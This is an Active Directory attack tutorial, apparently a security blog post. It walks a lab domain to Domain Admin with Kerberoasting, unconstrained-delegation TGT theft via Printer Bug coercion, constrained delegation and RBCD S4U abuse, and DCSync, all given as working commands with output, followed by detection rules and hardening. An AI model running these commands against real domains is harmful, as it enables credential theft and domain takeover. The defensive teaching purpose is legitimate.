SPN and Delegation Enumeration: Kerberoastable Accounts, Unconstrained, Constrained, and Resource-Based Delegation

By Debraj Basak·Jun 25, 2026·21 min readActive Directory Exploitation

Objective: Walk an authenticated domain foothold all the way to Domain Admin by enumerating Service Principal Names and the three Kerberos delegation models, then abusing each one: Kerberoasting weak service passwords, stealing a DC’s TGT through unconstrained delegation, riding S4U through constrained delegation, and taking over a computer object with resource-based constrained delegation. Every attack is paired with the enumeration that finds it and the telemetry that catches it.


Delegation is the part of Active Directory that punishes the gap between “configured years ago” and “still understood.” A service account someone created in 2016 with a six-character password, a print server flagged for unconstrained delegation that nobody decommissioned, a helpdesk group with GenericWrite over half the workstations: each of these collapses the domain when you know what to look for. This guide is enumeration-first by design. You find the opportunity before you ever fire a payload, because in a real engagement the finding is the deliverable and the exploit is just confirmation.

Everything below runs against a self-built lab. Nothing here is aimed at production. Build the range, break it, then read the detection section and learn to see it from the blue side.


Contents

1. Lab Build

Stand up one Windows Server 2022 domain controller and three Windows 10 Pro members in VirtualBox or VMware on a host-only network (192.168.56.0/24). Promote DC01 to a forest named lab.local, then create the objects below with their deliberate misconfigurations.

Machine / AccountRoleDeliberate misconfiguration
DC01.lab.local (192.168.56.10)Domain ControllerPrint Spooler left running; default MachineAccountQuota=10
WEB01.lab.localIIS hostTrusted for unconstrained delegation
SQL01.lab.localApp servern/a (hosts svc_sql)
COMP01.lab.localWorkstationRBCD takeover target
svc_iisDomain userSPN HTTP/WEB01.lab.local, RC4 enabled, weak password Summer2023!
svc_sqlDomain userTRUSTED_TO_AUTH_FOR_DELEGATION, msDS-AllowedToDelegateTo = cifs/DC01.lab.local, password SqlPass1!
lowprivDomain userAttacker foothold, password LowPass1!, holds GenericWrite over COMP01$

Provision the delegation flags and the RBCD-precursor ACE on the DC:

# Unconstrained delegation on WEB01
Set-ADAccountControl -Identity WEB01$ -TrustedForDelegation $true

# Constrained delegation w/ protocol transition on svc_sql
Set-ADUser svc_sql -Add @{'msDS-AllowedToDelegateTo'='cifs/DC01.lab.local'}
Set-ADAccountControl svc_sql -TrustedToAuthForDelegation $true

# GenericWrite ACE for lowpriv over COMP01 (RBCD primitive)
dsacls "CN=COMP01,CN=Computers,DC=lab,DC=local" /G "lab\lowpriv:WP;;"
The command completed successfully.

The attacker box is Kali at 192.168.56.50 with Impacket, plus a Windows attack VM carrying Rubeus, PowerView, PowerMad, and Mimikatz for the in-domain operations.


2. Kerberos Authentication Refresher

You cannot abuse Kerberos delegation without a working mental model of the ticket exchange, so build that first.

Kerberos is a ticket-based protocol with three parties: the client, the Key Distribution Center (KDC, which runs on every DC), and the service. The KDC has two faces. The Authentication Service (AS) issues the first ticket, and the Ticket-Granting Service (TGS) issues service tickets thereafter.

The flow:

  1. AS-REQ / AS-REP. The client proves it knows its own password (it encrypts a timestamp with the hash of its password as the pre-auth) and receives a Ticket-Granting Ticket (TGT). The TGT is encrypted with the krbtgt account’s secret key. The client cannot read it; it only stores and presents it.
  2. TGS-REQ / TGS-REP. When the client wants to reach a service, it sends the TGT plus the target service’s SPN to the TGS. The KDC looks up which account owns that SPN, then returns a service ticket (TGS) encrypted with that service account’s key (its NTLM hash for RC4, or its AES key).
  3. AP-REQ. The client presents the service ticket to the service. The service decrypts it with its own key, reads the embedded PAC (Privilege Attribute Certificate), and trusts the group memberships inside it for authorization.
ConceptWhat it actually does
TGTIdentity token issued on AS-REP, encrypted with the krbtgt key, presented back to the KDC
TGS / service ticketIssued by the TGS, encrypted with the service account’s key, presented to the service
PACAuthorization blob inside the ticket carrying SIDs and group membership
Encryption type (etype)0x17/23 = RC4-HMAC (NTLM hash is the key), 0x11/17 = AES128, 0x12/18 = AES256
Forwardable flagPermits a ticket to be re-presented in an S4U2Proxy request

The single fact that makes Kerberoasting possible: a service ticket is encrypted with the service account’s password-derived key, and the KDC will hand a service ticket to any authenticated principal that asks for an SPN. If that key is the RC4 key (the NTLM hash of a human-chosen password), an attacker can crack it offline. AES keys are derived through PBKDF2-style iteration and are vastly harder to attack, which is why encryption type matters at every step below.


Flowchart showing the five-step Kerberos exchange from AS-REQ through AP-REQ, with each ticket and encryption key labelled on every arrow
The KDC encrypts the service ticket with the service account’s own key – the fact that makes Kerberoasting possible.

3. Service Principal Names: Structure, Registration, and Enumeration

A Service Principal Name is the string Kerberos uses to map a service instance to the account that runs it. Format:

ServiceClass/Host:Port/ServiceName
HTTP/WEB01.lab.local
MSSQLSvc/SQL01.lab.local:1433

SPNs live in the servicePrincipalName LDAP attribute. They sit on two kinds of objects, and the distinction is everything:

  • Computer accounts auto-register SPNs (HOST/, CIFS/, LDAP/, etc.). Their passwords are 120+ character machine-generated secrets that rotate every 30 days. Cracking them offline is pointless.
  • User accounts get SPNs when an admin runs a service under a domain user. Those passwords are human-chosen. A user object with a populated servicePrincipalName is a Kerberoasting target.

Enumerate SPNs with raw LDAP

The cleanest enumeration is the LDAP filter itself, which you can run from any authenticated context. This is what every tool wraps.

# Find user objects (not computers) that have an SPN
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
# svc_iis, Users, lab.local
dn: CN=svc_iis,CN=Users,DC=lab,DC=local
sAMAccountName: svc_iis
servicePrincipalName: HTTP/WEB01.lab.local
msDS-SupportedEncryptionTypes: 4

# svc_sql, Users, lab.local
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
servicePrincipalName: MSSQLSvc/SQL01.lab.local:1433

Two findings. svc_iis has msDS-SupportedEncryptionTypes: 4, which is the RC4-only bit, so its ticket comes back as etype 23 and is the soft target. svc_sql has no encryption-type value set, which means it follows the domain default and is also a candidate. Note svc_sql also carries an SPN, which means we can get its hash and later abuse its delegation rights.

Enumerate with PowerView from a Windows foothold

Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, `
  @{N='enctypes';E={$_.'msds-supportedencryptiontypes'}}
samaccountname serviceprincipalname            enctypes
-------------- --------------------            --------
svc_iis        HTTP/WEB01.lab.local            4
svc_sql        MSSQLSvc/SQL01.lab.local:1433
krbtgt         kadmin/changepw

Ignore krbtgt; it is a built-in and its password is the domain’s crown jewel, not something you roast. The two svc_* accounts are the real findings.

The same view in BloodHound

Run SharpHound, import, and the Kerberoastable Users pre-built query lights up svc_iis and svc_sql. BloodHound’s value is not the list, it is the graph: it shows you what those accounts can reach once cracked, which is how you turn a roast into a path.

sharphound -c All -d lab.local -u lowpriv -p 'LowPass1!' --domaincontroller 192.168.56.10
2024-05-12T14:02:11 INFO  Resolved Collection Methods: Group, Sessions, ...
2024-05-12T14:02:19 INFO  Status: 312 objects finished (+312)
2024-05-12T14:02:20 INFO  Enumeration finished, compressing into 20240512140220_BloodHound.zip

4. Kerberoasting: Mechanics and Exploitation

The enumeration gave us the targets. Now the why: any authenticated user can send a TGS-REQ for HTTP/WEB01.lab.local. The KDC does not check whether you are authorized to use that service; that is the service’s job at AP-REQ time. The KDC simply encrypts the ticket with svc_iis‘s key and hands it back. If that key is RC4 (NTLM hash of Summer2023!), you crack it offline at full GPU speed, never touching the network again.

Request and extract hashes (Impacket, Linux)

GetUserSPNs.py lab.local/lowpriv:'LowPass1!' -dc-ip 192.168.56.10 -request -outputfile kerbhashes.txt
ServicePrincipalName          Name     MemberOf  PasswordLastSet      LastLogon
----------------------------  -------  --------  -------------------  -------------------
HTTP/WEB01.lab.local          svc_iis            2023-06-01 09:14:22  2024-05-10 22:31:07
MSSQLSvc/SQL01.lab.local:1433 svc_sql            2023-06-01 09:18:55  2024-05-11 08:02:44

[*] Saved TGS hashes to kerbhashes.txt
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...c2d9$8e0b6f...   (truncated)
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/SQL01.lab.local~1433*$77ce...91ab$f0a2...

The $krb5tgs$23$ prefix confirms RC4 (etype 23). If you see $krb5tgs$18$ that is AES256 and you switch hashcat mode. RC4 prefixes start $krb5tgs$23$*, AES128 $krb5tgs$17$*, AES256 $krb5tgs$18$*.

In-memory request from Windows (Rubeus)

/stats first so you know what you are about to touch and how loud it will be.

Rubeus.exe kerberoast /stats
[*] Total kerberoastable users : 2

 ------------------------------------------------------------
 | Supported Encryption Type        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                 | 1     |
 | (unspecified - likely RC4)       | 1     |
 ------------------------------------------------------------
Rubeus.exe kerberoast /outfile:hashes.txt /rc4opsec
[*] Roasting accounts with RC4 enabled (/rc4opsec)
[*] SamAccountName         : svc_iis
[*] DistinguishedName      : CN=svc_iis,CN=Users,DC=lab,DC=local
[*] ServicePrincipalName   : HTTP/WEB01.lab.local
[*] Hash written to hashes.txt

/rc4opsec only roasts accounts already configured for RC4 so you do not trip the “RC4 requested in an AES domain” detection. Drop the flag only when you must roast an AES account.

Crack offline (hashcat)

hashcat -m 13100 kerbhashes.txt rockyou.txt --rules-file best64.rule
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...:Summer2023!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/2 (50.00%) Digests

svc_iis cracks to Summer2023!. Mode 13100 is RC4 TGS, 19600 is AES128, 19700 is AES256. The AES modes need real wordlist quality because GPU rates collapse against the iteration count.

Targeted Kerberoasting

If you only have GenericWrite over a user (no SPN yet), write a fake SPN, roast, and clear it. This converts an ACL edge into a crackable hash.

Set-DomainObject -Identity helpdesk_svc -Set @{serviceprincipalname='fake/roastme'} -Verbose
Rubeus.exe kerberoast /user:helpdesk_svc /outfile:targeted.txt
Set-DomainObject -Identity helpdesk_svc -Clear serviceprincipalname
[Set-DomainObject] Setting 'serviceprincipalname' to 'fake/roastme' for object 'helpdesk_svc'
[*] Hash written to targeted.txt
[Set-DomainObject] Clearing 'serviceprincipalname' for object 'helpdesk_svc'

Kerberoasting deliberately excludes computer accounts because their machine-generated passwords are not crackable. A non-empty servicePrincipalName on a user is the entire signal.


5. Unconstrained Delegation: Enumeration and TGT Theft

Unconstrained delegation is the oldest and most dangerous model. When a host is “trusted for delegation,” any user who authenticates to it via Kerberos has their full TGT cached in the host’s LSASS, so the host can impersonate them to anything. If you own that host, you own every TGT that lands there, including a Domain Controller’s if you can coerce it to connect.

Enumerate unconstrained hosts

The flag is TRUSTED_FOR_DELEGATION (0x80000 / 524288) in userAccountControl. The bitwise LDAP matching rule finds it precisely.

Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
dnshostname        useraccountcontrol
-----------        ------------------
DC01.lab.local     WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION, SERVER_TRUST_ACCOUNT
WEB01.lab.local    WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# Raw LDAP equivalent
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=524288)' dNSHostName
dn: CN=WEB01,OU=Servers,DC=lab,DC=local
dNSHostName: WEB01.lab.local

DCs always show the flag, that is expected. WEB01 showing it is the finding: a member server that should never have been trusted for delegation. We already cracked svc_iis, which is local admin on WEB01, so we have a path onto the box.

Monitor LSASS for incoming TGTs

On WEB01, with admin, start Rubeus in monitor mode to harvest any TGT that arrives.

Rubeus.exe monitor /interval:1 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs

Coerce the DC to authenticate (Printer Bug)

The DC will not just connect to WEB01. We force it. The MS-RPRN “Printer Bug” makes a remote spooler call back to an attacker-supplied host using the machine account, which means the DC’s TGT lands in WEB01‘s LSASS.

python3 printerbug.py 'lab.local/lowpriv:LowPass1!'@192.168.56.10 WEB01.lab.local
[*] Impacket v0.11.0
[*] Attempting to trigger authentication via rprn RPC at 192.168.56.10
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked

The access-denied at the tail is normal; the backconnect still fires. Back in the monitor window:

[*] 5/12/2024 2:41:09 PM UTC - Found new TGT:
  User                  :  DC01$@LAB.LOCAL
  StartTime             :  5/12/2024 2:41:09 PM
  EndTime               :  5/13/2024 12:41:09 AM
  RenewTill             :  5/19/2024 2:41:09 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :
    doIFxj...AABBQ== (truncated)

Pass-the-Ticket and DCSync

Inject DC01$‘s TGT, then DCSync as a machine account that has replication rights (a DC computer account does).

Rubeus.exe ptt /ticket:doIFxj...AABBQ==
klist
[*] Action: Import Ticket
[+] Ticket successfully imported!

Cached Tickets: (1)
  #0> Client: DC01$ @ LAB.LOCAL
      Server: krbtgt/LAB.LOCAL @ LAB.LOCAL
      Flags: forwardable, forwarded, renewable, pre_authent
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\krbtgt
[DC] 'lab.local' will be the domain
[DC] 'DC01.lab.local' will be the DC server
[DC] 'lab\krbtgt' will be the user account

Object RID           : 502
SAM Username         : krbtgt
Credentials:
  Hash NTLM: 8a6c2f1e... (truncated)
    aes256_hmac : b3d9... (truncated)

With the krbtgt hash you forge Golden Tickets at will. Unconstrained delegation plus one coercion primitive turns a member-server foothold into full domain compromise. The defensive read: kill the Print Spooler on DCs and remove unconstrained delegation from everything that is not a DC.


6. Constrained Delegation: S4U2Proxy and Protocol Transition Abuse

Constrained delegation was Microsoft’s answer to the unconstrained nightmare. Instead of caching every TGT, an account lists exactly which service SPNs it may delegate to in msDS-AllowedToDelegateTo. The delegation is performed through two MS-SFU protocol extensions:

  • S4U2Self lets a service ask the KDC for a service ticket to itself on behalf of any named user, even one who never used Kerberos. This is “Protocol Transition.” It bridges NTLM (or no auth at all) into a Kerberos ticket.
  • S4U2Proxy takes that forwardable ticket and exchanges it for a ticket to one of the SPNs in msDS-AllowedToDelegateTo.

The dangerous combination: if an account has TRUSTED_TO_AUTH_FOR_DELEGATION set (the Protocol Transition / “use any authentication protocol” radio button), S4U2Self yields a forwardable ticket, and S4U2Proxy then impersonates any user, including Domain Admin, to the allowed service. No password for that user required.

Enumerate constrained delegation

TRUSTED_TO_AUTH_FOR_DELEGATION is bit 0x1000000 (16777216).

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, `
  @{N='allowedto';E={$_.'msds-allowedtodelegateto'}}
samaccountname allowedto
-------------- ---------
svc_sql        cifs/DC01.lab.local
# Raw LDAP check for the protocol-transition bit
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=16777216)' \
  sAMAccountName msDS-AllowedToDelegateTo
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
msDS-AllowedToDelegateTo: cifs/DC01.lab.local

The finding: svc_sql is trusted to authenticate for delegation and may delegate to cifs/DC01.lab.local. Because we Kerberoasted svc_sql earlier (it had an SPN) and we know its password is SqlPass1!, we control it. That means we can impersonate Domain Admin to the file system of the DC.

Run the S4U chain (Rubeus, Windows)

First a TGT for the controlled account, then the S4U exchange.

Rubeus.exe asktgt /user:svc_sql /password:SqlPass1! /domain:lab.local /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 5f4dcc3b...
[+] TGT request successful!
[*] base64(ticket.kirbi):
    doIE+jCCBP...AABBQ==
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /nowrap /ptt
[*] Action: S4U
[*] Building S4U2self request for: svc_sql@LAB.LOCAL
[*] Impersonating user 'Administrator' to target SPN 'cifs/DC01.lab.local'
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'cifs/DC01.lab.local'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC01.lab.local':
    doIGdj...AABBQ==
[+] Ticket successfully imported!

Confirm impersonation

klist
dir \\DC01.lab.local\C$
#0> Client: Administrator @ LAB.LOCAL
    Server: cifs/DC01.lab.local @ LAB.LOCAL

 Directory of \\DC01.lab.local\C$
05/12/2024  02:55 PM    <DIR>          Windows
05/12/2024  09:10 AM    <DIR>          Users
05/12/2024  09:10 AM    <DIR>          Program Files

The altservice trick: pivot CIFS to LDAP for DCSync

Kerberos does not validate the service class in the returned ticket at the KDC, so a ticket minted for cifs/DC01 can be rewritten to ldap/DC01 on the same host. That promotes file access into directory replication.

Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /altservice:"ldap/DC01.lab.local" /nowrap /ptt
[*] Substituting alternative service name 'ldap/DC01.lab.local'
[+] S4U2proxy success!
[+] Ticket successfully imported!
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\Administrator
SAM Username : Administrator
Credentials:
  Hash NTLM: e19ccf75ee54e06b06a5907af13cef42

Linux equivalent (Impacket)

getST.py -dc-ip 192.168.56.10 -spn cifs/DC01.lab.local -impersonate Administrator lab.local/svc_sql:'SqlPass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
secretsdump.py -k -no-pass DC01.lab.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
lab.local\Administrator:500:aad3b...:e19ccf75ee54e06b06a5907af13cef42:::
krbtgt:502:aad3b...:8a6c2f1e...:::

Step-by-step flow diagram of the S4U2Self then S4U2Proxy constrained delegation chain from attacker-controlled svc_sql to a DCSync-ready LDAP ticket on DC01
Protocol Transition lets svc_sql mint a forwardable ticket for any user – including Domain Admin – without ever knowing their password.

7. Resource-Based Constrained Delegation: Computer Object Takeover

RBCD inverts the trust direction. Classic constrained delegation lists outbound targets on the delegating account, which requires domain-level write to configure. RBCD puts the trust on the resource: the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute names which accounts may delegate to it. The catch that makes RBCD a workhorse for attackers: you only need write access to one computer object (GenericWrite / WriteProperty), not domain admin, to configure it. Combine that with the default MachineAccountQuota=10 (any user can create up to ten computer accounts) and you have a self-contained takeover primitive.

Enumerate the write primitive

We provisioned lowpriv with GenericWrite over COMP01$. Find it with BloodHound’s Cypher console:

MATCH p=(u:User {name:"LOWPRIV@LAB.LOCAL"})-[:GenericWrite]->(c:Computer)
RETURN p
LOWPRIV@LAB.LOCAL  -[GenericWrite]->  COMP01.LAB.LOCAL

Confirm the same edge with PowerView and confirm we can create machine accounts:

Get-DomainObjectAcl -Identity COMP01 -ResolveGUIDs |
  Where-Object {$_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid} |
  Select-Object ActiveDirectoryRights, ObjectAceType
ActiveDirectoryRights ObjectAceType
--------------------- -------------
            WriteProperty All
Get-DomainObject -Identity "DC=lab,DC=local" -Properties ms-DS-MachineAccountQuota
ms-ds-machineaccountquota
-------------------------
                       10

Two findings confirmed: lowpriv can write to COMP01, and the quota lets us create the attacker-controlled computer we need.

Create the attacker computer (PowerMad)

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'FakePass1!' -AsPlainText -Force)
[+] Machine account FAKE01 added
$fakeSid = (Get-ADComputer FAKE01).SID.Value
$fakeSid
S-1-5-21-3623811015-3361044348-30300820-1142

Write the SID into COMP01’s RBCD attribute

We build a security descriptor granting FAKE01 the right to act on behalf of others, serialize it, and write it.

$rsd = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeSid)"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $rsd
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer COMP01 | Set-ADObject -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
Get-ADComputer COMP01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
DistinguishedName : CN=COMP01,CN=Computers,DC=lab,DC=local
msDS-AllowedToActOnBehalfOfOtherIdentity : {1, 0, 4, 128...}
Name              : COMP01

COMP01 now trusts FAKE01 to delegate to it. Because we know FAKE01‘s password, we run S4U as FAKE01 and impersonate any user to COMP01.

Run the S4U chain and land code execution

getST.py -dc-ip 192.168.56.10 -spn cifs/COMP01.lab.local -impersonate Administrator 'lab.local/FAKE01$:FakePass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
wmiexec.py -k -no-pass Administrator@COMP01.lab.local
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
lab\administrator

Cleanup (mandatory in authorized work)

Set-ADComputer COMP01 -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
Remove-ADComputer FAKE01 -Confirm:$false
# attribute cleared, FAKE01 removed

Hierarchy diagram showing how lowpriv uses GenericWrite and MachineAccountQuota to stage FAKE01, write the RBCD attribute on COMP01, and execute the S4U chain to gain SYSTEM
RBCD requires only a single GenericWrite edge and the default MachineAccountQuota to manufacture a self-contained domain takeover primitive.

8. Chaining Techniques: Realistic Attack Paths

None of these live in isolation. The engagement value is the chain.

ChainPath
Roast to delegation to DAKerberoast svc_sql (weak password) -> svc_sql holds protocol-transition constrained delegation to cifs/DC01 -> S4U + altservice to ldap/DC01 -> DCSync krbtgt
ACL to RBCD to hostGenericWrite over COMP01 (found in BloodHound) -> create FAKE01 via quota -> write msDS-AllowedToActOnBehalfOfOtherIdentity -> S4U -> SYSTEM on COMP01
Coercion to domainFind unconstrained WEB01 -> own it via cracked svc_iis -> Printer Bug coerce DC01$ TGT -> PtT -> DCSync

The connective tissue is always enumeration. PowerView and BloodHound tell you which roasted account matters, which write primitive reaches a tier-0 path, and which coercion target is trusted for delegation. Roasting a random print-queue service that goes nowhere is wasted noise; roasting the one account that also holds delegation rights is the kill.


9. Common Attacker Techniques

TechniqueDescription
KerberoastingRequest TGS for user-SPN accounts, crack RC4 ticket offline
Targeted KerberoastingAdd SPN via GenericWrite, roast, clear SPN
Unconstrained TGT theftCapture cached TGTs (incl. DC) from LSASS on a delegation host
Printer Bug coercionForce a target to authenticate via MS-RPRN spooler RPC
S4U2Self / S4U2Proxy abuseImpersonate arbitrary users via protocol transition
altservice substitutionRewrite a service ticket’s SPN class (CIFS to LDAP) for DCSync
RBCD takeoverWrite msDS-AllowedToActOnBehalfOfOtherIdentity + S4U chain
MachineAccountQuota abuseCreate computer accounts as a standard user for RBCD staging
Pass-the-TicketInject stolen or forged TGT/TGS into the current session

10. Defensive Strategies and Detection

Offense without the blue-side picture is half a craft. Each attack above leaves a distinct trail if the audit policy is right. Enable Audit Kerberos Service Ticket Operations and Audit Directory Service Changes at minimum; without those, 4769 and 5136 simply do not appear.

Windows Security event IDs

Event IDLogTriggerDetection use
4769SecurityTGS requestedKerberoasting: TicketEncryptionType=0x17 from a non-machine account; S4U2Self: ServiceName == AccountName; S4U2Proxy: non-empty TransitedServices
4768SecurityTGT requestedBaseline; spot a host requesting a TGT for a DC machine account post-coercion
4738SecurityUser account changedDelegation / UAC flag toggles, msDS-AllowedToDelegateTo edits on users
4742SecurityComputer account changedDelegation flag changes on machine accounts
4741SecurityComputer account createdNew machine accounts; alert when creator is a non-admin (RBCD/PowerMad staging)
5136SecurityDirectory object modifiedRBCD: AttributeLDAPDisplayName=msDS-AllowedToActOnBehalfOfOtherIdentity, OperationType=Value Added

A single account requesting many TGS in a burst, or any RC4 request in an AES-enforced domain, is the highest-fidelity Kerberoasting signal. Any write to msDS-AllowedToActOnBehalfOfOtherIdentity outside a change window is near-certain RBCD staging.

Sigma: Kerberoasting

title: Potential Kerberoasting via RC4 Service Ticket Request
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
    TicketOptions: '0x40810000'
  filter:
    ServiceName|endswith: '$'
    AccountName|endswith: '$'
  condition: selection and not filter
level: high

Sigma: RBCD staging

title: Resource-Based Constrained Delegation Attribute Write
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
    OperationType: '%%14674'   # Value Added
  condition: selection
level: high

ETW and other telemetry

ProviderUse
Microsoft-Windows-Security-AuditingSource for all 4769/5136/4741 events
Microsoft-Windows-Kerberos-Key-Distribution-CenterDC-side KDC tracing, verbose TGS issuance
Microsoft Defender for IdentityNative Kerberoasting, RBCD, and S4U anomaly detection on the DC sensor
Directory Services field-engineering logging (level 5)Captures raw LDAP filter strings, surfaces (servicePrincipalName=*) sweeps

Hardening checklist

ControlAddresses
Group Managed Service Accounts (gMSA)Removes Kerberoasting; 240-char auto-rotating passwords
Service passwords >= 25 chars, randomKerberoasting mitigation where gMSA is infeasible
Enforce AES, disable RC4 (msDS-SupportedEncryptionTypes=24)Forces AES TGS, cracking orders of magnitude harder
Protected Users group for all tier-0 accountsTickets cannot be delegated; no RC4
“Account is sensitive and cannot be delegated” (NOT_DELEGATED)Blocks S4U impersonation of admins
Remove unconstrained delegation from non-DCsEliminates Printer Bug TGT theft
MachineAccountQuota=0 via GPOBlocks user-created computers for RBCD staging
Restrict GenericWrite/WriteProperty on computer objectsRemoves the RBCD write primitive
Disable Print Spooler on DCs and sensitive serversKills the coercion vector

Symbolic illustration of a cracked Kerberos shield being repaired, representing defensive hardening against delegation attacks
Delegation misconfigurations accumulated over years collapse under a single enumeration pass – hardening with gMSA, AES enforcement, and Protected Users closes the most exploited paths.

11. Tools for Delegation Analysis

ToolDescriptionLink
Impacket (GetUserSPNs.py, getST.py, secretsdump.py)Linux SPN/S4U/DCSync toolkitgithub.com/fortra/impacket
RubeusWindows kerberoast, S4U, monitor, pttgithub.com/GhostPack/Rubeus
PowerViewLDAP delegation and ACL enumerationgithub.com/PowerShellMafia
BloodHound / SharpHoundGraph-based delegation and ACL path findingbloodhound.specterops.io
PowerMadCreate machine accounts for RBCD staginggithub.com/Kevin-Robertson/Powermad
MimikatzTGT dumping, DCSync, PtTgithub.com/gentilkiwi/mimikatz
hashcatOffline TGS cracking (13100/19600/19700)hashcat.net
SpoolSample / printerbug.pyMS-RPRN coerciongithub.com/leechristensen/SpoolSample
setspn.exeNative SPN registration and querydocs.microsoft.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
KerberoastingT1558.003Event 4769 RC4 from non-machine account
Steal or Forge Kerberos TicketsT15584768/4769 anomalies, ticket lifetimes
Golden TicketT1558.001Post-DCSync krbtgt use; anomalous TGT
Pass the TicketT1550.003Rubeus ptt; injected ticket without prior 4768
Forced AuthenticationT1187Spooler RPC callback, 4768 for DC machine account
Access Token / Delegation ManipulationT11344738/4742 delegation flag changes, 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity
OS Credential Dumping: DCSyncT1003.0064662 replication GUID access from non-DC

Summary

  • SPN and delegation misconfigurations let any authenticated user climb to Domain Admin, so enumeration of servicePrincipalName, UAC delegation flags, and msDS-* attributes is the highest-value reconnaissance in AD.
  • Kerberoasting works because the KDC encrypts service tickets with the service account’s password-derived key; user SPNs with RC4 enabled are offline-crackable, computer SPNs are not.
  • Unconstrained delegation caches full TGTs in LSASS; combined with Printer Bug coercion it converts a member-server foothold into a DC TGT and krbtgt compromise.
  • Constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) enables S4U2Self plus S4U2Proxy impersonation of any user, and the altservice trick pivots CIFS tickets into LDAP for DCSync.
  • RBCD only needs write access to a single computer object plus a non-zero MachineAccountQuota, making it the most accessible takeover primitive once you find a GenericWrite edge.
  • Detect via Event 4769 (RC4 TGS bursts), Event 5136 (writes to msDS-AllowedToActOnBehalfOfOtherIdentity), and Event 4741 (rogue machine accounts); defend with gMSA, AES enforcement, Protected Users, MachineAccountQuota=0, and spooler hardening on DCs.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.